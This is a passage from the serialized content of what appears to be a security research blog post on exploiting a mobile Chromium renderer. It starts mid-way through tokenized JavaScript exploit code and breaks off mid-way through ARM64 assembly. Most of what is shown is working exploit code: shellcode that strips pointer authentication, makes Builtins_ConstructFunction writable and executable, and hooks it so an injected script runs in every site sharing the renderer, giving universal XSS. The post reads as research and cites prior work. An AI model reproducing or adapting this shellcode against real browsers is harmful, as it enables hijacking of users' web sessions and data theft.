:24,"tag":83,"props":138602,"children":138603},{"style":245},[138604],{"type":29,"value":1166},{"type":24,"tag":83,"props":138606,"children":138607},{"style":107},[138608],{"type":29,"value":989},{"type":24,"tag":83,"props":138610,"children":138611},{"class":85,"line":367},[138612,138616,138620,138624,138628,138632,138636,138640,138644,138648,138652,138657,138661,138666,138670,138675,138679,138683],{"type":24,"tag":83,"props":138613,"children":138614},{"style":245},[138615],{"type":29,"value":133730},{"type":24,"tag":83,"props":138617,"children":138618},{"style":107},[138619],{"type":29,"value":568},{"type":24,"tag":83,"props":138621,"children":138622},{"style":245},[138623],{"type":29,"value":1166},{"type":24,"tag":83,"props":138625,"children":138626},{"style":107},[138627],{"type":29,"value":568},{"type":24,"tag":83,"props":138629,"children":138630},{"style":245},[138631],{"type":29,"value":1166},{"type":24,"tag":83,"props":138633,"children":138634},{"style":107},[138635],{"type":29,"value":568},{"type":24,"tag":83,"props":138637,"children":138638},{"style":245},[138639],{"type":29,"value":1166},{"type":24,"tag":83,"props":138641,"children":138642},{"style":107},[138643],{"type":29,"value":568},{"type":24,"tag":83,"props":138645,"children":138646},{"style":245},[138647],{"type":29,"value":1166},{"type":24,"tag":83,"props":138649,"children":138650},{"style":107},[138651],{"type":29,"value":568},{"type":24,"tag":83,"props":138653,"children":138654},{"style":245},[138655],{"type":29,"value":138656},"92",{"type":24,"tag":83,"props":138658,"children":138659},{"style":107},[138660],{"type":29,"value":568},{"type":24,"tag":83,"props":138662,"children":138663},{"style":245},[138664],{"type":29,"value":138665},"50",{"type":24,"tag":83,"props":138667,"children":138668},{"style":107},[138669],{"type":29,"value":568},{"type":24,"tag":83,"props":138671,"children":138672},{"style":245},[138673],{"type":29,"value":138674},"162",{"type":24,"tag":83,"props":138676,"children":138677},{"style":107},[138678],{"type":29,"value":568},{"type":24,"tag":83,"props":138680,"children":138681},{"style":245},[138682],{"type":29,"value":1166},{"type":24,"tag":83,"props":138684,"children":138685},{"style":107},[138686],{"type":29,"value":989},{"type":24,"tag":83,"props":138688,"children":138689},{"class":85,"line":406},[138690],{"type":24,"tag":83,"props":138691,"children":138692},{"style":107},[138693],{"type":29,"value":134017},{"type":24,"tag":83,"props":138695,"children":138696},{"class":85,"line":427},[138697,138701,138705,138709,138713,138717,138721,138725,138729,138733,138737],{"type":24,"tag":83,"props":138698,"children":138699},{"style":90},[138700],{"type":29,"value":655},{"type":24,"tag":83,"props":138702,"children":138703},{"style":137},[138704],{"type":29,"value":135470},{"type":24,"tag":83,"props":138706,"children":138707},{"style":143},[138708],{"type":29,"value":146},{"type":24,"tag":83,"props":138710,"children":138711},{"style":101},[138712],{"type":29,"value":135479},{"type":24,"tag":83,"props":138714,"children":138715},{"style":107},[138716],{"type":29,"value":558},{"type":24,"tag":83,"props":138718,"children":138719},{"style":137},[138720],{"type":29,"value":133348},{"type":24,"tag":83,"props":138722,"children":138723},{"style":107},[138724],{"type":29,"value":568},{"type":24,"tag":83,"props":138726,"children":138727},{"style":137},[138728],{"type":29,"value":124675},{"type":24,"tag":83,"props":138730,"children":138731},{"style":107},[138732],{"type":29,"value":161},{"type":24,"tag":83,"props":138734,"children":138735},{"style":137},[138736],{"type":29,"value":124675},{"type":24,"tag":83,"props":138738,"children":138739},{"style":107},[138740],{"type":29,"value":581},{"type":24,"tag":83,"props":138742,"children":138743},{"class":85,"line":440},[138744,138748,138752,138756,138760,138764,138768,138772,138776,138780],{"type":24,"tag":83,"props":138745,"children":138746},{"style":137},[138747],{"type":29,"value":135515},{"type":24,"tag":83,"props":138749,"children":138750},{"style":143},[138751],{"type":29,"value":146},{"type":24,"tag":83,"props":138753,"children":138754},{"style":107},[138755],{"type":29,"value":223},{"type":24,"tag":83,"props":138757,"children":138758},{"style":117},[138759],{"type":29,"value":32655},{"type":24,"tag":83,"props":138761,"children":138762},{"style":137},[138763],{"type":29,"value":135470},{"type":24,"tag":83,"props":138765,"children":138766},{"style":107},[138767],{"type":29,"value":161},{"type":24,"tag":83,"props":138769,"children":138770},{"style":101},[138771],{"type":29,"value":57279},{"type":24,"tag":83,"props":138773,"children":138774},{"style":107},[138775],{"type":29,"value":135544},{"type":24,"tag":83,"props":138777,"children":138778},{"style":137},[138779],{"type":29,"value":38870},{"type":24,"tag":83,"props":138781,"children":138782},{"style":107},[138783],{"type":29,"value":321},{"type":24,"tag":83,"props":138785,"children":138786},{"class":85,"line":449},[138787,138791,138795,138799,138803,138808,138812,138816],{"type":24,"tag":83,"props":138788,"children":138789},{"style":137},[138790],{"type":29,"value":101477},{"type":24,"tag":83,"props":138792,"children":138793},{"style":107},[138794],{"type":29,"value":161},{"type":24,"tag":83,"props":138796,"children":138797},{"style":101},[138798],{"type":29,"value":101486},{"type":24,"tag":83,"props":138800,"children":138801},{"style":107},[138802],{"type":29,"value":558},{"type":24,"tag":83,"props":138804,"children":138805},{"style":187},[138806],{"type":29,"value":138807},"'DeserializeWasmModule result: '",{"type":24,"tag":83,"props":138809,"children":138810},{"style":143},[138811],{"type":29,"value":8649},{"type":24,"tag":83,"props":138813,"children":138814},{"style":137},[138815],{"type":29,"value":8906},{"type":24,"tag":83,"props":138817,"children":138818},{"style":107},[138819],{"type":29,"value":581},{"type":24,"tag":83,"props":138821,"children":138822},{"class":85,"line":458},[138823,138827,138831,138835,138839,138843,138847,138851,138855,138859],{"type":24,"tag":83,"props":138824,"children":138825},{"style":90},[138826],{"type":29,"value":526},{"type":24,"tag":83,"props":138828,"children":138829},{"style":137},[138830],{"type":29,"value":135564},{"type":24,"tag":83,"props":138832,"children":138833},{"style":143},[138834],{"type":29,"value":146},{"type":24,"tag":83,"props":138836,"children":138837},{"style":90},[138838],{"type":29,"value":944},{"type":24,"tag":83,"props":138840,"children":138841},{"style":137},[138842],{"type":29,"value":133331},{"type":24,"tag":83,"props":138844,"children":138845},{"style":107},[138846],{"type":29,"value":161},{"type":24,"tag":83,"props":138848,"children":138849},{"style":101},[138850],{"type":29,"value":133385},{"type":24,"tag":83,"props":138852,"children":138853},{"style":107},[138854],{"type":29,"value":558},{"type":24,"tag":83,"props":138856,"children":138857},{"style":137},[138858],{"type":29,"value":8828},{"type":24,"tag":83,"props":138860,"children":138861},{"style":107},[138862],{"type":29,"value":581},{"type":24,"tag":83,"props":138864,"children":138865},{"class":85,"line":1065},[138866,138870,138874,138878,138882,138886,138890,138894,138898],{"type":24,"tag":83,"props":138867,"children":138868},{"style":90},[138869],{"type":29,"value":526},{"type":24,"tag":83,"props":138871,"children":138872},{"style":137},[138873],{"type":29,"value":32710},{"type":24,"tag":83,"props":138875,"children":138876},{"style":143},[138877],{"type":29,"value":146},{"type":24,"tag":83,"props":138879,"children":138880},{"style":137},[138881],{"type":29,"value":135564},{"type":24,"tag":83,"props":138883,"children":138884},{"style":107},[138885],{"type":29,"value":161},{"type":24,"tag":83,"props":138887,"children":138888},{"style":137},[138889],{"type":29,"value":37609},{"type":24,"tag":83,"props":138891,"children":138892},{"style":107},[138893],{"type":29,"value":161},{"type":24,"tag":83,"props":138895,"children":138896},{"style":137},[138897],{"type":29,"value":133434},{"type":24,"tag":83,"props":138899,"children":138900},{"style":107},[138901],{"type":29,"value":321},{"type":24,"tag":83,"props":138903,"children":138904},{"class":85,"line":1668},[138905,138909,138913,138917,138921,138925],{"type":24,"tag":83,"props":138906,"children":138907},{"style":137},[138908],{"type":29,"value":101477},{"type":24,"tag":83,"props":138910,"children":138911},{"style":107},[138912],{"type":29,"value":161},{"type":24,"tag":83,"props":138914,"children":138915},{"style":101},[138916],{"type":29,"value":101486},{"type":24,"tag":83,"props":138918,"children":138919},{"style":107},[138920],{"type":29,"value":558},{"type":24,"tag":83,"props":138922,"children":138923},{"style":137},[138924],{"type":29,"value":32824},{"type":24,"tag":83,"props":138926,"children":138927},{"style":107},[138928],{"type":29,"value":581},{"type":24,"tag":83,"props":138930,"children":138931},{"class":85,"line":1713},[138932],{"type":24,"tag":83,"props":138933,"children":138934},{"style":107},[138935],{"type":29,"value":101518},{"type":24,"tag":25,"props":138937,"children":138938},{},[138939],{"type":29,"value":138940},"And this time, it works as expected:",{"type":24,"tag":25,"props":138942,"children":138943},{},[138944],{"type":24,"tag":2510,"props":138945,"children":138948},{"alt":138946,"src":138947},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":1818,"props":138950,"children":138952},{"id":138951},"achieving-universal-xss",[138953],{"type":29,"value":138954},"Achieving Universal XSS",{"type":24,"tag":25,"props":138956,"children":138957},{},[138958,138960,138966,138968,138975],{"type":29,"value":138959},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":2033,"props":138961,"children":138964},{"href":138962,"rel":138963},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[2037],[138965],{"type":29,"value":70046},{"type":29,"value":138967}," from Tencent Security and ",{"type":24,"tag":2033,"props":138969,"children":138972},{"href":138970,"rel":138971},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[2037],[138973],{"type":29,"value":138974},"research article",{"type":29,"value":138976}," from InterruptLabs.",{"type":24,"tag":25,"props":138978,"children":138979},{},[138980,138982,138989],{"type":29,"value":138981},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":2033,"props":138983,"children":138986},{"href":138984,"rel":138985},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[2037],[138987],{"type":29,"value":138988},"weaker version",{"type":29,"value":138990}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":138992,"children":138993},{},[138994,138996,139002],{"type":29,"value":138995},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":32,"props":138997,"children":138999},{"className":138998},[],[139000],{"type":29,"value":139001},"Builtins_ConstructFunction",{"type":29,"value":139003},", making it a natural target.",{"type":24,"tag":25,"props":139005,"children":139006},{},[139007,139009,139014],{"type":29,"value":139008},"Our goal is for ",{"type":24,"tag":32,"props":139010,"children":139012},{"className":139011},[],[139013],{"type":29,"value":139001},{"type":29,"value":139015}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":16422,"props":139017,"children":139018},{},[139019,139024,139034],{"type":24,"tag":67,"props":139020,"children":139021},{},[139022],{"type":29,"value":139023},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":67,"props":139025,"children":139026},{},[139027,139029],{"type":29,"value":139028},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":32,"props":139030,"children":139032},{"className":139031},[],[139033],{"type":29,"value":139001},{"type":24,"tag":67,"props":139035,"children":139036},{},[139037,139039,139044],{"type":29,"value":139038},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":32,"props":139040,"children":139042},{"className":139041},[],[139043],{"type":29,"value":139001},{"type":29,"value":139045},", which now proceeds normally",{"type":24,"tag":25,"props":139047,"children":139048},{},[139049],{"type":29,"value":139050},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":73,"props":139052,"children":139056},{"code":139053,"language":139054,"meta":7,"className":139055,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139057],{"type":24,"tag":32,"props":139058,"children":139059},{"__ignoreMap":7},[139060,139068,139076,139084,139092,139099,139107,139115,139123,139131,139138,139146,139154,139162,139170,139178,139185,139193,139201,139209,139217,139225,139233,139240,139248,139255,139263,139271,139279,139286,139294,139302,139310,139318,139325,139332,139339,139346,139354,139362,139370,139377,139385,139393,139400,139408,139416,139424,139431,139439,139447,139455,139463,139470,139477,139485],{"type":24,"tag":83,"props":139061,"children":139062},{"class":85,"line":86},[139063],{"type":24,"tag":83,"props":139064,"children":139065},{},[139066],{"type":29,"value":139067},"// get return addr to x0\n",{"type":24,"tag":83,"props":139069,"children":139070},{"class":85,"line":113},[139071],{"type":24,"tag":83,"props":139072,"children":139073},{},[139074],{"type":29,"value":139075},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":83,"props":139077,"children":139078},{"class":85,"line":128},[139079],{"type":24,"tag":83,"props":139080,"children":139081},{},[139082],{"type":29,"value":139083},"// strip pac signature from return address\n",{"type":24,"tag":83,"props":139085,"children":139086},{"class":85,"line":183},[139087],{"type":24,"tag":83,"props":139088,"children":139089},{},[139090],{"type":29,"value":139091},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":83,"props":139093,"children":139094},{"class":85,"line":203},[139095],{"type":24,"tag":83,"props":139096,"children":139097},{"emptyLinePlaceholder":16},[139098],{"type":29,"value":3422},{"type":24,"tag":83,"props":139100,"children":139101},{"class":85,"line":212},[139102],{"type":24,"tag":83,"props":139103,"children":139104},{},[139105],{"type":29,"value":139106},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":139108,"children":139109},{"class":85,"line":256},[139110],{"type":24,"tag":83,"props":139111,"children":139112},{},[139113],{"type":29,"value":139114},"movz x1, #0x610c\n",{"type":24,"tag":83,"props":139116,"children":139117},{"class":85,"line":270},[139118],{"type":24,"tag":83,"props":139119,"children":139120},{},[139121],{"type":29,"value":139122},"sub x0, x0, x1\n",{"type":24,"tag":83,"props":139124,"children":139125},{"class":85,"line":302},[139126],{"type":24,"tag":83,"props":139127,"children":139128},{},[139129],{"type":29,"value":139130},"mov x5, x0\n",{"type":24,"tag":83,"props":139132,"children":139133},{"class":85,"line":324},[139134],{"type":24,"tag":83,"props":139135,"children":139136},{"emptyLinePlaceholder":16},[139137],{"type":29,"value":3422},{"type":24,"tag":83,"props":139139,"children":139140},{"class":85,"line":345},[139141],{"type":24,"tag":83,"props":139142,"children":139143},{},[139144],{"type":29,"value":139145},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":83,"props":139147,"children":139148},{"class":85,"line":358},[139149],{"type":24,"tag":83,"props":139150,"children":139151},{},[139152],{"type":29,"value":139153},"movz x1, #0xf000\n",{"type":24,"tag":83,"props":139155,"children":139156},{"class":85,"line":367},[139157],{"type":24,"tag":83,"props":139158,"children":139159},{},[139160],{"type":29,"value":139161},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":83,"props":139163,"children":139164},{"class":85,"line":406},[139165],{"type":24,"tag":83,"props":139166,"children":139167},{},[139168],{"type":29,"value":139169},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":83,"props":139171,"children":139172},{"class":85,"line":427},[139173],{"type":24,"tag":83,"props":139174,"children":139175},{},[139176],{"type":29,"value":139177},"and x4, x5, x1\n",{"type":24,"tag":83,"props":139179,"children":139180},{"class":85,"line":440},[139181],{"type":24,"tag":83,"props":139182,"children":139183},{"emptyLinePlaceholder":16},[139184],{"type":29,"value":3422},{"type":24,"tag":83,"props":139186,"children":139187},{"class":85,"line":449},[139188],{"type":24,"tag":83,"props":139189,"children":139190},{},[139191],{"type":29,"value":139192},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":83,"props":139194,"children":139195},{"class":85,"line":458},[139196],{"type":24,"tag":83,"props":139197,"children":139198},{},[139199],{"type":29,"value":139200},"mov x0, x4\n",{"type":24,"tag":83,"props":139202,"children":139203},{"class":85,"line":1065},[139204],{"type":24,"tag":83,"props":139205,"children":139206},{},[139207],{"type":29,"value":139208},"mov x1, #0x2000\n",{"type":24,"tag":83,"props":139210,"children":139211},{"class":85,"line":1668},[139212],{"type":24,"tag":83,"props":139213,"children":139214},{},[139215],{"type":29,"value":139216},"mov x2, #0x7\n",{"type":24,"tag":83,"props":139218,"children":139219},{"class":85,"line":1713},[139220],{"type":24,"tag":83,"props":139221,"children":139222},{},[139223],{"type":29,"value":139224},"mov x8, #226\n",{"type":24,"tag":83,"props":139226,"children":139227},{"class":85,"line":1730},[139228],{"type":24,"tag":83,"props":139229,"children":139230},{},[139231],{"type":29,"value":139232},"svc #0\n",{"type":24,"tag":83,"props":139234,"children":139235},{"class":85,"line":1770},[139236],{"type":24,"tag":83,"props":139237,"children":139238},{"emptyLinePlaceholder":16},[139239],{"type":29,"value":3422},{"type":24,"tag":83,"props":139241,"children":139242},{"class":85,"line":1778},[139243],{"type":24,"tag":83,"props":139244,"children":139245},{},[139246],{"type":29,"value":139247},"mov x6, x5\n",{"type":24,"tag":83,"props":139249,"children":139250},{"class":85,"line":1803},[139251],{"type":24,"tag":83,"props":139252,"children":139253},{"emptyLinePlaceholder":16},[139254],{"type":29,"value":3422},{"type":24,"tag":83,"props":139256,"children":139257},{"class":85,"line":1811},[139258],{"type":24,"tag":83,"props":139259,"children":139260},{},[139261],{"type":29,"value":139262},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":83,"props":139264,"children":139265},{"class":85,"line":8792},[139266],{"type":24,"tag":83,"props":139267,"children":139268},{},[139269],{"type":29,"value":139270},"mov x0, #0\n",{"type":24,"tag":83,"props":139272,"children":139273},{"class":85,"line":8810},[139274],{"type":24,"tag":83,"props":139275,"children":139276},{},[139277],{"type":29,"value":139278},"mov x1, #0x1000\n",{"type":24,"tag":83,"props":139280,"children":139281},{"class":85,"line":8855},[139282],{"type":24,"tag":83,"props":139283,"children":139284},{},[139285],{"type":29,"value":139216},{"type":24,"tag":83,"props":139287,"children":139288},{"class":85,"line":8961},[139289],{"type":24,"tag":83,"props":139290,"children":139291},{},[139292],{"type":29,"value":139293},"mov x3, #34\n",{"type":24,"tag":83,"props":139295,"children":139296},{"class":85,"line":23248},[139297],{"type":24,"tag":83,"props":139298,"children":139299},{},[139300],{"type":29,"value":139301},"mov x4, #-1\n",{"type":24,"tag":83,"props":139303,"children":139304},{"class":85,"line":23283},[139305],{"type":24,"tag":83,"props":139306,"children":139307},{},[139308],{"type":29,"value":139309},"mov x5, #0\n",{"type":24,"tag":83,"props":139311,"children":139312},{"class":85,"line":23291},[139313],{"type":24,"tag":83,"props":139314,"children":139315},{},[139316],{"type":29,"value":139317},"mov x8, #222\n",{"type":24,"tag":83,"props":139319,"children":139320},{"class":85,"line":23299},[139321],{"type":24,"tag":83,"props":139322,"children":139323},{},[139324],{"type":29,"value":139232},{"type":24,"tag":83,"props":139326,"children":139327},{"class":85,"line":23308},[139328],{"type":24,"tag":83,"props":139329,"children":139330},{"emptyLinePlaceholder":16},[139331],{"type":29,"value":3422},{"type":24,"tag":83,"props":139333,"children":139334},{"class":85,"line":23350},[139335],{"type":24,"tag":83,"props":139336,"children":139337},{},[139338],{"type":29,"value":139130},{"type":24,"tag":83,"props":139340,"children":139341},{"class":85,"line":23383},[139342],{"type":24,"tag":83,"props":139343,"children":139344},{"emptyLinePlaceholder":16},[139345],{"type":29,"value":3422},{"type":24,"tag":83,"props":139347,"children":139348},{"class":85,"line":23391},[139349],{"type":24,"tag":83,"props":139350,"children":139351},{},[139352],{"type":29,"value":139353},"// at this point:\n",{"type":24,"tag":83,"props":139355,"children":139356},{"class":85,"line":23399},[139357],{"type":24,"tag":83,"props":139358,"children":139359},{},[139360],{"type":29,"value":139361},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":139363,"children":139364},{"class":85,"line":23408},[139365],{"type":24,"tag":83,"props":139366,"children":139367},{},[139368],{"type":29,"value":139369},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":83,"props":139371,"children":139372},{"class":85,"line":23484},[139373],{"type":24,"tag":83,"props":139374,"children":139375},{"emptyLinePlaceholder":16},[139376],{"type":29,"value":3422},{"type":24,"tag":83,"props":139378,"children":139379},{"class":85,"line":23517},[139380],{"type":24,"tag":83,"props":139381,"children":139382},{},[139383],{"type":29,"value":139384},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":83,"props":139386,"children":139387},{"class":85,"line":23525},[139388],{"type":24,"tag":83,"props":139389,"children":139390},{},[139391],{"type":29,"value":139392},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":83,"props":139394,"children":139395},{"class":85,"line":23533},[139396],{"type":24,"tag":83,"props":139397,"children":139398},{"emptyLinePlaceholder":16},[139399],{"type":29,"value":3422},{"type":24,"tag":83,"props":139401,"children":139402},{"class":85,"line":23570},[139403],{"type":24,"tag":83,"props":139404,"children":139405},{},[139406],{"type":29,"value":139407},"// wipe from cache\n",{"type":24,"tag":83,"props":139409,"children":139410},{"class":85,"line":23583},[139411],{"type":24,"tag":83,"props":139412,"children":139413},{},[139414],{"type":29,"value":139415},"mov x0, x5\n",{"type":24,"tag":83,"props":139417,"children":139418},{"class":85,"line":23596},[139419],{"type":24,"tag":83,"props":139420,"children":139421},{},[139422],{"type":29,"value":139423},"{WIPE_CACHE}\n",{"type":24,"tag":83,"props":139425,"children":139426},{"class":85,"line":23609},[139427],{"type":24,"tag":83,"props":139428,"children":139429},{"emptyLinePlaceholder":16},[139430],{"type":29,"value":3422},{"type":24,"tag":83,"props":139432,"children":139433},{"class":85,"line":23663},[139434],{"type":24,"tag":83,"props":139435,"children":139436},{},[139437],{"type":29,"value":139438},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":139440,"children":139441},{"class":85,"line":23672},[139442],{"type":24,"tag":83,"props":139443,"children":139444},{},[139445],{"type":29,"value":139446},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":83,"props":139448,"children":139449},{"class":85,"line":32019},[139450],{"type":24,"tag":83,"props":139451,"children":139452},{},[139453],{"type":29,"value":139454},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":83,"props":139456,"children":139457},{"class":85,"line":32040},[139458],{"type":24,"tag":83,"props":139459,"children":139460},{},[139461],{"type":29,"value":139462},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":83,"props":139464,"children":139465},{"class":85,"line":80665},[139466],{"type":24,"tag":83,"props":139467,"children":139468},{"emptyLinePlaceholder":16},[139469],{"type":29,"value":3422},{"type":24,"tag":83,"props":139471,"children":139472},{"class":85,"line":80678},[139473],{"type":24,"tag":83,"props":139474,"children":139475},{},[139476],{"type":29,"value":139407},{"type":24,"tag":83,"props":139478,"children":139479},{"class":85,"line":80686},[139480],{"type":24,"tag":83,"props":139481,"children":139482},{},[139483],{"type":29,"value":139484},"mov x0, x6\n",{"type":24,"tag":83,"props":139486,"children":139487},{"class":85,"line":80694},[139488],{"type":24,"tag":83,"props":139489,"children":139490},{},[139491],{"type":29,"value":139423},{"type":24,"tag":25,"props":139493,"children":139494},{},[139495,139497,139503,139505,139510,139512,139518],{"type":29,"value":139496},"In the snippet above, ",{"type":24,"tag":32,"props":139498,"children":139500},{"className":139499},[],[139501],{"type":29,"value":139502},"new_compile_instrs",{"type":29,"value":139504}," refers to the instructions written to the beginning of ",{"type":24,"tag":32,"props":139506,"children":139508},{"className":139507},[],[139509],{"type":29,"value":139001},{"type":29,"value":139511}," that invoke the ",{"type":24,"tag":32,"props":139513,"children":139515},{"className":139514},[],[139516],{"type":29,"value":139517},"uxss_sc",{"type":29,"value":139519}," mmap-ed shellcode:",{"type":24,"tag":73,"props":139521,"children":139523},{"code":139522,"language":139054,"meta":7,"className":139055,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[139524],{"type":24,"tag":32,"props":139525,"children":139526},{"__ignoreMap":7},[139527,139535,139542,139550,139558,139565,139573,139581,139588,139596,139604,139611,139619],{"type":24,"tag":83,"props":139528,"children":139529},{"class":85,"line":86},[139530],{"type":24,"tag":83,"props":139531,"children":139532},{},[139533],{"type":29,"value":139534},"bti c\n",{"type":24,"tag":83,"props":139536,"children":139537},{"class":85,"line":113},[139538],{"type":24,"tag":83,"props":139539,"children":139540},{"emptyLinePlaceholder":16},[139541],{"type":29,"value":3422},{"type":24,"tag":83,"props":139543,"children":139544},{"class":85,"line":128},[139545],{"type":24,"tag":83,"props":139546,"children":139547},{},[139548],{"type":29,"value":139549},"// store registers that will be overwritten\n",{"type":24,"tag":83,"props":139551,"children":139552},{"class":85,"line":183},[139553],{"type":24,"tag":83,"props":139554,"children":139555},{},[139556],{"type":29,"value":139557},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":83,"props":139559,"children":139560},{"class":85,"line":203},[139561],{"type":24,"tag":83,"props":139562,"children":139563},{"emptyLinePlaceholder":16},[139564],{"type":29,"value":3422},{"type":24,"tag":83,"props":139566,"children":139567},{"class":85,"line":212},[139568],{"type":24,"tag":83,"props":139569,"children":139570},{},[139571],{"type":29,"value":139572},"// get current rip into x15\n",{"type":24,"tag":83,"props":139574,"children":139575},{"class":85,"line":256},[139576],{"type":24,"tag":83,"props":139577,"children":139578},{},[139579],{"type":29,"value":139580},"adr x15, .\n",{"type":24,"tag":83,"props":139582,"children":139583},{"class":85,"line":270},[139584],{"type":24,"tag":83,"props":139585,"children":139586},{"emptyLinePlaceholder":16},[139587],{"type":29,"value":3422},{"type":24,"tag":83,"props":139589,"children":139590},{"class":85,"line":302},[139591],{"type":24,"tag":83,"props":139592,"children":139593},{},[139594],{"type":29,"value":139595},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":83,"props":139597,"children":139598},{"class":85,"line":324},[139599],{"type":24,"tag":83,"props":139600,"children":139601},{},[139602],{"type":29,"value":139603},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":83,"props":139605,"children":139606},{"class":85,"line":345},[139607],{"type":24,"tag":83,"props":139608,"children":139609},{"emptyLinePlaceholder":16},[139610],{"type":29,"value":3422},{"type":24,"tag":83,"props":139612,"children":139613},{"class":85,"line":358},[139614],{"type":24,"tag":83,"props":139615,"children":139616},{},[139617],{"type":29,"value":139618},"// jump to uxss_sc\n",{"type":24,"tag":83,"props":139620,"children":139621},{"class":85,"line":367},[139622],{"type":24,"tag":83,"props":139623,"children":139624},{},[139625],{"type":29,"value":139626},"blr x15\n",{"type":24,"tag":25,"props":139628,"children":139629},{},[139630,139635,139637,139642],{"type":24,"tag":32,"props":139631,"children":139633},{"className":139632},[],[139634],{"type":29,"value":139517},{"type":29,"value":139636}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":32,"props":139638,"children":139640},{"className":139639},[],[139641],{"type":29,"value":139001},{"type":29,"value":139643}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":73,"props":139645,"children":139647},{"code":139646,"language":139054,"meta":7,"className":139055,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[139648],{"type":24,"tag":32,"props":139649,"children":139650},{"__ignoreMap":7},[139651,139658,139665,139673,139681,139689,139697,139705,139713,139721,139729,139737,139745,139753,139761,139769,139777,139785,139793],{"type":24,"tag":83,"props":139652,"children":139653},{"class":85,"line":86},[139654],{"type":24,"tag":83,"props":139655,"children":139656},{},[139657],{"type":29,"value":139534},{"type":24,"tag":83,"props":139659,"children":139660},{"class":85,"line":113},[139661],{"type":24,"tag":83,"props":139662,"children":139663},{"emptyLinePlaceholder":16},[139664],{"type":29,"value":3422},{"type":24,"tag":83,"props":139666,"children":139667},{"class":85,"line":128},[139668],{"type":24,"tag":83,"props":139669,"children":139670},{},[139671],{"type":29,"value":139672},"// Save full register context\n",{"type":24,"tag":83,"props":139674,"children":139675},{"class":85,"line":183},[139676],{"type":24,"tag":83,"props":139677,"children":139678},{},[139679],{"type":29,"value":139680},"stp x0,  x1,  [sp, 